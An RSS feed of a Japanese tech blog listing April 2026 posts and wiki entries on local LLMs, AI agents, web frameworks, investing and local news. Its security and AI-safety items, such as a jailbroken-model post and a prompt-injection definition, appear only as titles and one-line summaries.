<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>hdknr blog</title><link>https://hdknr.github.io/blogs/</link><description>Recent content on hdknr blog</description><generator>Hugo -- 0.157.0</generator><language>ja</language><lastBuildDate>Thu, 09 Apr 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://hdknr.github.io/blogs/index.xml" rel="self" type="application/rss+xml"/><item><title>関係人口とは？観光以上・移住未満の新しい地域との関わり方</title><link>https://hdknr.github.io/blogs/posts/2026/04/%E9%96%A2%E4%BF%82%E4%BA%BA%E5%8F%A3%E3%81%A8%E3%81%AF%E8%A6%B3%E5%85%89%E4%BB%A5%E4%B8%8A%E7%A7%BB%E4%BD%8F%E6%9C%AA%E6%BA%80%E3%81%AE%E6%96%B0%E3%81%97%E3%81%84%E5%9C%B0%E5%9F%9F%E3%81%A8%E3%81%AE%E9%96%A2%E3%82%8F%E3%82%8A%E6%96%B9/</link><pubDate>Thu, 09 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/%E9%96%A2%E4%BF%82%E4%BA%BA%E5%8F%A3%E3%81%A8%E3%81%AF%E8%A6%B3%E5%85%89%E4%BB%A5%E4%B8%8A%E7%A7%BB%E4%BD%8F%E6%9C%AA%E6%BA%80%E3%81%AE%E6%96%B0%E3%81%97%E3%81%84%E5%9C%B0%E5%9F%9F%E3%81%A8%E3%81%AE%E9%96%A2%E3%82%8F%E3%82%8A%E6%96%B9/</guid><description>関係人口の定義、定住人口・交流人口との違い、ふるさと住民登録制度、成功事例、課題までを包括的に解説。地方創生2.0の鍵を握る概念を理解する。</description></item><item><title>giftee（ギフティ）：eギフトプラットフォームで「キモチの循環」を実現する企業の全貌</title><link>https://hdknr.github.io/blogs/posts/2026/04/giftee%E3%82%AE%E3%83%95%E3%83%86%E3%82%A3e%E3%82%AE%E3%83%95%E3%83%88%E3%83%97%E3%83%A9%E3%83%83%E3%83%88%E3%83%95%E3%82%A9%E3%83%BC%E3%83%A0%E3%81%A7%E3%82%AD%E3%83%A2%E3%83%81%E3%81%AE%E5%BE%AA%E7%92%B0%E3%82%92%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B%E4%BC%81%E6%A5%AD%E3%81%AE%E5%85%A8%E8%B2%8C/</link><pubDate>Wed, 08 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/giftee%E3%82%AE%E3%83%95%E3%83%86%E3%82%A3e%E3%82%AE%E3%83%95%E3%83%88%E3%83%97%E3%83%A9%E3%83%83%E3%83%88%E3%83%95%E3%82%A9%E3%83%BC%E3%83%A0%E3%81%A7%E3%82%AD%E3%83%A2%E3%83%81%E3%81%AE%E5%BE%AA%E7%92%B0%E3%82%92%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B%E4%BC%81%E6%A5%AD%E3%81%AE%E5%85%A8%E8%B2%8C/</guid><description>東証プライム上場のギフティ（証券コード4449）を徹底分析。eギフトの発券から流通・販売まで一気通貫のプラットフォーム事業、法人向けgiftee for Business、自治体向けe街プラットフォームの仕組みと最新動向を解説</description></item><item><title>MONOCO（モノコ）：「使い惚れ」だけを届けるキュレーションECの実力</title><link>https://hdknr.github.io/blogs/posts/2026/04/monoco%E3%83%A2%E3%83%8E%E3%82%B3%E4%BD%BF%E3%81%84%E6%83%9A%E3%82%8C%E3%81%A0%E3%81%91%E3%82%92%E5%B1%8A%E3%81%91%E3%82%8B%E3%82%AD%E3%83%A5%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3ec%E3%81%AE%E5%AE%9F%E5%8A%9B/</link><pubDate>Wed, 08 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/monoco%E3%83%A2%E3%83%8E%E3%82%B3%E4%BD%BF%E3%81%84%E6%83%9A%E3%82%8C%E3%81%A0%E3%81%91%E3%82%92%E5%B1%8A%E3%81%91%E3%82%8B%E3%82%AD%E3%83%A5%E3%83%AC%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3ec%E3%81%AE%E5%AE%9F%E5%8A%9B/</guid><description>MONOCO（モノコ）は、スタッフが3週間以上使い込んだ「使い惚れ」商品だけを販売するキュレーション型ECサイト。サービスの特徴、大手ECとの違い、創業ストーリーを紹介。</description></item><item><title>Gemini Agentモード：Google Workspaceを丸ごと自動化するAIエージェントの実力</title><link>https://hdknr.github.io/blogs/posts/2026/04/gemini-agent%E3%83%A2%E3%83%BC%E3%83%89google-workspace%E3%82%92%E4%B8%B8%E3%81%94%E3%81%A8%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8Bai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%AE%9F%E5%8A%9B/</link><pubDate>Tue, 07 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/gemini-agent%E3%83%A2%E3%83%BC%E3%83%89google-workspace%E3%82%92%E4%B8%B8%E3%81%94%E3%81%A8%E8%87%AA%E5%8B%95%E5%8C%96%E3%81%99%E3%82%8Bai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AE%E5%AE%9F%E5%8A%9B/</guid><description>Google Gemini Agentモードの機能・活用事例・料金を解説。Gmail・カレンダー・Driveを横断する自動化、スケジュール実行、OpenClawとの比較まで網羅。</description></item><item><title>Gemma 4 31B vs Qwen3.5-27B — ローカルLLM最強はどちらか</title><link>https://hdknr.github.io/blogs/posts/2026/04/gemma-4-31b-vs-qwen3.5-27b-%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABllm%E6%9C%80%E5%BC%B7%E3%81%AF%E3%81%A9%E3%81%A1%E3%82%89%E3%81%8B/</link><pubDate>Tue, 07 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/gemma-4-31b-vs-qwen3.5-27b-%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABllm%E6%9C%80%E5%BC%B7%E3%81%AF%E3%81%A9%E3%81%A1%E3%82%89%E3%81%8B/</guid><description>Google Gemma 4 31BとAlibaba Qwen3.5-27Bをローカル実行の観点で徹底比較。ベンチマーク、メモリ要件、マルチモーダル、日本語対応、推論速度を検証する。</description></item><item><title>Gemma 4がAPI経済を破壊する — オープンモデルがSaaS課金モデルを変える理由</title><link>https://hdknr.github.io/blogs/posts/2026/04/gemma-4%E3%81%8Capi%E7%B5%8C%E6%B8%88%E3%82%92%E7%A0%B4%E5%A3%8A%E3%81%99%E3%82%8B-%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%83%A2%E3%83%87%E3%83%AB%E3%81%8Csaas%E8%AA%B2%E9%87%91%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92%E5%A4%89%E3%81%88%E3%82%8B%E7%90%86%E7%94%B1/</link><pubDate>Tue, 07 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/gemma-4%E3%81%8Capi%E7%B5%8C%E6%B8%88%E3%82%92%E7%A0%B4%E5%A3%8A%E3%81%99%E3%82%8B-%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%83%A2%E3%83%87%E3%83%AB%E3%81%8Csaas%E8%AA%B2%E9%87%91%E3%83%A2%E3%83%87%E3%83%AB%E3%82%92%E5%A4%89%E3%81%88%E3%82%8B%E7%90%86%E7%94%B1/</guid><description>Google Gemma 4はただのオープンモデルではない。26B MoEで推論時3.8Bアクティブ、E2Bモデルはスマホでオフライン動作、Apache 2.0ライセンス。API従量課金に依存するSaaSビジネスモデルへの影響を考察する。</description></item><item><title>Microsoft BitNet完全オープンソース化：GPUなしで1000億パラメータLLMをCPUで動かす時代へ</title><link>https://hdknr.github.io/blogs/posts/2026/04/microsoft-bitnet%E5%AE%8C%E5%85%A8%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E5%8C%96gpu%E3%81%AA%E3%81%97%E3%81%A71000%E5%84%84%E3%83%91%E3%83%A9%E3%83%A1%E3%83%BC%E3%82%BFllm%E3%82%92cpu%E3%81%A7%E5%8B%95%E3%81%8B%E3%81%99%E6%99%82%E4%BB%A3%E3%81%B8/</link><pubDate>Tue, 07 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/microsoft-bitnet%E5%AE%8C%E5%85%A8%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E5%8C%96gpu%E3%81%AA%E3%81%97%E3%81%A71000%E5%84%84%E3%83%91%E3%83%A9%E3%83%A1%E3%83%BC%E3%82%BFllm%E3%82%92cpu%E3%81%A7%E5%8B%95%E3%81%8B%E3%81%99%E6%99%82%E4%BB%A3%E3%81%B8/</guid><description>Microsoft BitNet b1.58のオープンソース化を解説。1-bit量子化でGPU不要のCPU推論を実現するbitnet.cppの仕組み、ベンチマーク、セットアップ方法を紹介。</description></item><item><title>バフェット・コード徹底分析 — EDINET XBRLを活用した企業分析SaaSの全貌</title><link>https://hdknr.github.io/blogs/posts/2026/04/%E3%83%90%E3%83%95%E3%82%A7%E3%83%83%E3%83%88%E3%82%B3%E3%83%BC%E3%83%89%E5%BE%B9%E5%BA%95%E5%88%86%E6%9E%90-edinet-xbrl%E3%82%92%E6%B4%BB%E7%94%A8%E3%81%97%E3%81%9F%E4%BC%81%E6%A5%AD%E5%88%86%E6%9E%90saas%E3%81%AE%E5%85%A8%E8%B2%8C/</link><pubDate>Tue, 07 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/%E3%83%90%E3%83%95%E3%82%A7%E3%83%83%E3%83%88%E3%82%B3%E3%83%BC%E3%83%89%E5%BE%B9%E5%BA%95%E5%88%86%E6%9E%90-edinet-xbrl%E3%82%92%E6%B4%BB%E7%94%A8%E3%81%97%E3%81%9F%E4%BC%81%E6%A5%AD%E5%88%86%E6%9E%90saas%E3%81%AE%E5%85%A8%E8%B2%8C/</guid><description>EDINETのXBRLデータを基盤にした企業分析SaaS「バフェット・コード」を徹底分析。Web API、スプレッドシート連携、MCP Server、OSSライブラリなど、無料プランの範囲からPython実装例まで解説</description></item><item><title>四季報の財務欄から「安心な投資先」を探す7つのポイント — 自己資本の増減に注目</title><link>https://hdknr.github.io/blogs/posts/2026/04/%E5%9B%9B%E5%AD%A3%E5%A0%B1%E3%81%AE%E8%B2%A1%E5%8B%99%E6%AC%84%E3%81%8B%E3%82%89%E5%AE%89%E5%BF%83%E3%81%AA%E6%8A%95%E8%B3%87%E5%85%88%E3%82%92%E6%8E%A2%E3%81%997%E3%81%A4%E3%81%AE%E3%83%9D%E3%82%A4%E3%83%B3%E3%83%88-%E8%87%AA%E5%B7%B1%E8%B3%87%E6%9C%AC%E3%81%AE%E5%A2%97%E6%B8%9B%E3%81%AB%E6%B3%A8%E7%9B%AE/</link><pubDate>Tue, 07 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/%E5%9B%9B%E5%AD%A3%E5%A0%B1%E3%81%AE%E8%B2%A1%E5%8B%99%E6%AC%84%E3%81%8B%E3%82%89%E5%AE%89%E5%BF%83%E3%81%AA%E6%8A%95%E8%B3%87%E5%85%88%E3%82%92%E6%8E%A2%E3%81%997%E3%81%A4%E3%81%AE%E3%83%9D%E3%82%A4%E3%83%B3%E3%83%88-%E8%87%AA%E5%B7%B1%E8%B3%87%E6%9C%AC%E3%81%AE%E5%A2%97%E6%B8%9B%E3%81%AB%E6%B3%A8%E7%9B%AE/</guid><description>会社四季報の財務欄に載る8つの数字（ROE・自己資本比率・有利子負債など）から安心な投資先を見つける7つのチェックポイントを解説。債務超過の見分け方やROICの活用法も紹介</description></item><item><title>AI エージェント</title><link>https://hdknr.github.io/blogs/wiki/concepts/ai-agent/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/ai-agent/</guid><description>自律的にタスク実行できる AI システム。複数ステップの処理を自己制御で進める</description></item><item><title>AI エージェント時代のシークレット管理</title><link>https://hdknr.github.io/blogs/wiki/guides/ai-agent-secret-management/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/guides/ai-agent-secret-management/</guid><description>AI エージェントが平文の .env にアクセスする問題への対策ガイド</description></item><item><title>AutoAgent</title><link>https://hdknr.github.io/blogs/wiki/tools/autoagent/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/autoagent/</guid><description>AI エージェントのハーネスを AI 自身が自律的に改善する Python 製 OSS ライブラリ</description></item><item><title>Celery</title><link>https://hdknr.github.io/blogs/wiki/tools/celery/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/celery/</guid><description>分散タスクキュー。非同期処理と定期タスク実行を実現</description></item><item><title>Claude Code</title><link>https://hdknr.github.io/blogs/wiki/tools/claude-code/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/claude-code/</guid><description>Anthropic 公式の CLI ベース AI コーディングエージェント</description></item><item><title>CloudFront → ALB → Django の HTTPS 判定</title><link>https://hdknr.github.io/blogs/wiki/guides/cloudfront-alb-https/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/guides/cloudfront-alb-https/</guid><description>ALB が X-Forwarded-Proto を上書きする問題の解決ガイド</description></item><item><title>Django REST Framework (DRF)</title><link>https://hdknr.github.io/blogs/wiki/tools/drf/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/drf/</guid><description>Django で RESTful API を構築するフレームワーク</description></item><item><title>DuckDB</title><link>https://hdknr.github.io/blogs/wiki/tools/duckdb/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/duckdb/</guid><description>インプロセス OLAP データベース。列指向アーキテクチャで分析クエリを高速実行</description></item><item><title>EDINET XBRLをPythonで扱う — edinet-xbrlライブラリの使い方</title><link>https://hdknr.github.io/blogs/posts/2026/04/edinet-xbrl%E3%82%92python%E3%81%A7%E6%89%B1%E3%81%86-edinet-xbrl%E3%83%A9%E3%82%A4%E3%83%96%E3%83%A9%E3%83%AA%E3%81%AE%E4%BD%BF%E3%81%84%E6%96%B9/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/edinet-xbrl%E3%82%92python%E3%81%A7%E6%89%B1%E3%81%86-edinet-xbrl%E3%83%A9%E3%82%A4%E3%83%96%E3%83%A9%E3%83%AA%E3%81%AE%E4%BD%BF%E3%81%84%E6%96%B9/</guid><description>EDINETのXBRLファイルをPythonで解析する方法を解説。edinet-xbrlライブラリのインストールからXBRLパース、EDINET APIでの書類取得まで、サンプルコード付きで紹介</description></item><item><title>Exposure Management</title><link>https://hdknr.github.io/blogs/wiki/concepts/exposure-management/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/exposure-management/</guid><description>脆弱性×資産重要度×攻撃可能性を統合的に評価する新しいセキュリティアプローチ</description></item><item><title>FastAPI</title><link>https://hdknr.github.io/blogs/wiki/tools/fastapi/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/fastapi/</guid><description>高速でモダンな Python Web フレームワーク。自動 API ドキュメント生成対応</description></item><item><title>FIDO2/パスキー認証</title><link>https://hdknr.github.io/blogs/wiki/concepts/fido2-passkey/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/fido2-passkey/</guid><description>秘密を送信しない公開鍵ベースの認証で、フィッシング耐性を構造的に実現する次世代認証</description></item><item><title>Framework-defined Infrastructure (FdI)</title><link>https://hdknr.github.io/blogs/wiki/concepts/framework-defined-infrastructure/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/framework-defined-infrastructure/</guid><description>フレームワークコードからインフラ構成を自動導出する IaC の進化形</description></item><item><title>Gemma 4 31Bの脱獄モデル「CRACK」登場 — Abliteration技術でセーフティを除去</title><link>https://hdknr.github.io/blogs/posts/2026/04/gemma-4-31b%E3%81%AE%E8%84%B1%E7%8D%84%E3%83%A2%E3%83%87%E3%83%ABcrack%E7%99%BB%E5%A0%B4-abliteration%E6%8A%80%E8%A1%93%E3%81%A7%E3%82%BB%E3%83%BC%E3%83%95%E3%83%86%E3%82%A3%E3%82%92%E9%99%A4%E5%8E%BB/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/gemma-4-31b%E3%81%AE%E8%84%B1%E7%8D%84%E3%83%A2%E3%83%87%E3%83%ABcrack%E7%99%BB%E5%A0%B4-abliteration%E6%8A%80%E8%A1%93%E3%81%A7%E3%82%BB%E3%83%BC%E3%83%95%E3%83%86%E3%82%A3%E3%82%92%E9%99%A4%E5%8E%BB/</guid><description>Google Gemma 4 31Bの安全性制限を除去した脱獄モデルCRACKの技術解説。Abliteration手法の仕組み、JANG_4M量子化で18GBに収めたスペック、HarmBenchとMMLUのベンチマーク結果を紹介。</description></item><item><title>GitHub Actions スクリプトインジェクション対策</title><link>https://hdknr.github.io/blogs/wiki/guides/github-actions-security/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/guides/github-actions-security/</guid><description>GitHub Actions で ${{ }} テンプレート式の不適切な使用による攻撃を防ぐガイド</description></item><item><title>Grafana</title><link>https://hdknr.github.io/blogs/wiki/tools/grafana/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/grafana/</guid><description>メトリクス可視化・ダッシュボード作成ツール</description></item><item><title>MCP (Model Context Protocol)</title><link>https://hdknr.github.io/blogs/wiki/concepts/mcp/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/mcp/</guid><description>LLM が外部ツール・データベースと通信するためのオープンプロトコル</description></item><item><title>Ollama</title><link>https://hdknr.github.io/blogs/wiki/tools/ollama/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/ollama/</guid><description>ローカル環境で LLM を実行するためのフレームワーク。無料でオフライン推論が可能</description></item><item><title>OpenClaw</title><link>https://hdknr.github.io/blogs/wiki/tools/openclaw/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/openclaw/</guid><description>オープンソースの AI エージェント基盤フレームワーク。Claude、Grok、Ollama に対応</description></item><item><title>OWASP ZAP</title><link>https://hdknr.github.io/blogs/wiki/tools/owasp-zap/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/owasp-zap/</guid><description>Web アプリケーション脆弱性スキャナー。XSS・CSRF・キャッシュ制御など自動検出</description></item><item><title>RAG (Retrieval-Augmented Generation)</title><link>https://hdknr.github.io/blogs/wiki/concepts/rag/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/rag/</guid><description>外部データベースから情報検索し、それを基に LLM が応答を生成する技術</description></item><item><title>Redis</title><link>https://hdknr.github.io/blogs/wiki/tools/redis/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/redis/</guid><description>高速インメモリデータストア。キャッシュ・セッション・キューイング・分散ロックに利用</description></item><item><title>Supabase</title><link>https://hdknr.github.io/blogs/wiki/tools/supabase/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/tools/supabase/</guid><description>PostgreSQL ベースの BaaS プラットフォーム。Firebase のオープンソース代替</description></item><item><title>Terraform IaC ベストプラクティス</title><link>https://hdknr.github.io/blogs/wiki/guides/terraform-iac/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/guides/terraform-iac/</guid><description>大規模 Terraform プロジェクトの設計・運用：モジュール化・ファイル分割・state 管理</description></item><item><title>Vibe Coding</title><link>https://hdknr.github.io/blogs/wiki/concepts/vibe-coding/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/vibe-coding/</guid><description>感覚的・直感的に AI に指示を出すコーディング手法。詳細なルール不要</description></item><item><title>ハーネスエンジニアリング</title><link>https://hdknr.github.io/blogs/wiki/concepts/harness-engineering/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/harness-engineering/</guid><description>AI エージェントの出力品質を保証する設計パターン。検証層・制約層・フィードバック層で構成</description></item><item><title>インシデント対応の5フェーズ</title><link>https://hdknr.github.io/blogs/wiki/guides/incident-response/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/guides/incident-response/</guid><description>準備→検知→対応→振り返り→恒久対応のフレームワーク</description></item><item><title>メール認証（SPF/DKIM/DMARC）</title><link>https://hdknr.github.io/blogs/wiki/concepts/email-authentication/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/email-authentication/</guid><description>なりすまし防止のためのメール認証技術3層：送信元IP検証・電子署名・ポリシー決定</description></item><item><title>コンテキスト圧縮</title><link>https://hdknr.github.io/blogs/wiki/concepts/context-compression/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/context-compression/</guid><description>LLM の会話が長くなった際にコンテキストウィンドウを管理する戦略群</description></item><item><title>プロンプトインジェクション</title><link>https://hdknr.github.io/blogs/wiki/concepts/prompt-injection/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/prompt-injection/</guid><description>ユーザー入力にシステムプロンプトを改ざんするコードを混在させる攻撃手法</description></item><item><title>自己改善エージェント</title><link>https://hdknr.github.io/blogs/wiki/concepts/self-improving-agents/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/self-improving-agents/</guid><description>AI エージェントのハーネスを AI 自身が自律的に最適化するパターン</description></item><item><title>分散ロック</title><link>https://hdknr.github.io/blogs/wiki/concepts/distributed-lock/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/distributed-lock/</guid><description>複数サーバー環境で共有リソースへのアクセスを排他制御する仕組み</description></item><item><title>列指向ストレージ</title><link>https://hdknr.github.io/blogs/wiki/concepts/columnar-storage/</link><pubDate>Mon, 06 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/columnar-storage/</guid><description>データを列ごとに格納するストレージ方式。分析クエリの I/O 効率と圧縮率を大幅向上</description></item><item><title>AutoAgent — AIがAIを育てる自己改善エージェントOSSライブラリ</title><link>https://hdknr.github.io/blogs/posts/2026/04/autoagent-ai%E3%81%8Cai%E3%82%92%E8%82%B2%E3%81%A6%E3%82%8B%E8%87%AA%E5%B7%B1%E6%94%B9%E5%96%84%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88oss%E3%83%A9%E3%82%A4%E3%83%96%E3%83%A9%E3%83%AA/</link><pubDate>Sun, 05 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/autoagent-ai%E3%81%8Cai%E3%82%92%E8%82%B2%E3%81%A6%E3%82%8B%E8%87%AA%E5%B7%B1%E6%94%B9%E5%96%84%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88oss%E3%83%A9%E3%82%A4%E3%83%96%E3%83%A9%E3%83%AA/</guid><description>AutoAgent は AI エージェントのハーネス（プロンプト・ツール・オーケストレーション）を AI 自身が自律的に改善する Python 製 OSS ライブラリ。24時間の最適化で SpreadsheetBench・TerminalBench 世界1位を達成。</description></item><item><title>claw-code-local — Claude Code風のAIコーディングエージェントをローカルLLMで動かす</title><link>https://hdknr.github.io/blogs/posts/2026/04/claw-code-local-claude-code%E9%A2%A8%E3%81%AEai%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABllm%E3%81%A7%E5%8B%95%E3%81%8B%E3%81%99/</link><pubDate>Sun, 05 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/claw-code-local-claude-code%E9%A2%A8%E3%81%AEai%E3%82%B3%E3%83%BC%E3%83%87%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%82%92%E3%83%AD%E3%83%BC%E3%82%AB%E3%83%ABllm%E3%81%A7%E5%8B%95%E3%81%8B%E3%81%99/</guid><description>Claude Code風のAIコーディングエージェント claw-code-local の紹介。Ollama や LM Studio でローカルLLMを使い、API費用ゼロ・プライバシー保護でコード生成を実現する方法を解説。</description></item><item><title>Karpathy の LLM Wiki — AIエージェントが育てる個人ナレッジベースという新パターン</title><link>https://hdknr.github.io/blogs/posts/2026/04/karpathy-%E3%81%AE-llm-wiki-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C%E8%82%B2%E3%81%A6%E3%82%8B%E5%80%8B%E4%BA%BA%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E3%83%99%E3%83%BC%E3%82%B9%E3%81%A8%E3%81%84%E3%81%86%E6%96%B0%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</link><pubDate>Sun, 05 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/04/karpathy-%E3%81%AE-llm-wiki-ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%8C%E8%82%B2%E3%81%A6%E3%82%8B%E5%80%8B%E4%BA%BA%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E3%83%99%E3%83%BC%E3%82%B9%E3%81%A8%E3%81%84%E3%81%86%E6%96%B0%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</guid><description>Andrej Karpathy が公開した LLM Wiki は、RAG の限界を超えて AI エージェントに個人ナレッジベースを継続的に構築・保守させるパターン。三層構造と3つの基本操作を解説。</description></item><item><title>LLM Wiki パターン</title><link>https://hdknr.github.io/blogs/wiki/concepts/llm-wiki-pattern/</link><pubDate>Sun, 05 Apr 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/wiki/concepts/llm-wiki-pattern/</guid><description>AI エージェントに個人ナレッジベースを継続的に構築・保守させるパターン</description></item><item><title>【文京区】区報ぶんきょう 2026年3月25日号まとめ — 充電式電池の回収開始・つつじまつり・こども通園制度ほか</title><link>https://hdknr.github.io/blogs/posts/2026/04/%E6%96%87%E4%BA%AC%E5%8C%BA%E5%8C%BA%E5%A0%B1%E3%81%B6%E3%82%93%E3%81%8D%E3%82%87%E3%81%86-2026%E5%B9%B43%E6%9C%8825%E6%97%A5%E5%8F%B7%E3%81%BE%E3%81%A8%E3%82%81-%E5%85%85%E9%9B%BB%E5%BC%8F%E9%9B%BB%E6%B1%A0%E3%81%AE%E5%9B%9E%E5%8F%8E%E9%96%8B%E5%A7%8B%E3%81%A4%E3%81%A4%E3%81%98%E3%81%BE%E3%81%A4%E3%82%8A%E3%81%93%E3%81%A9%E3%82%82%E9%80%9A%E5%9C%92%E5%88%B6%E5%BA%A6%E3%81%BB%E3%81%8B/</link><pubDate>Fri, 03 Apr 2026 00:00:00 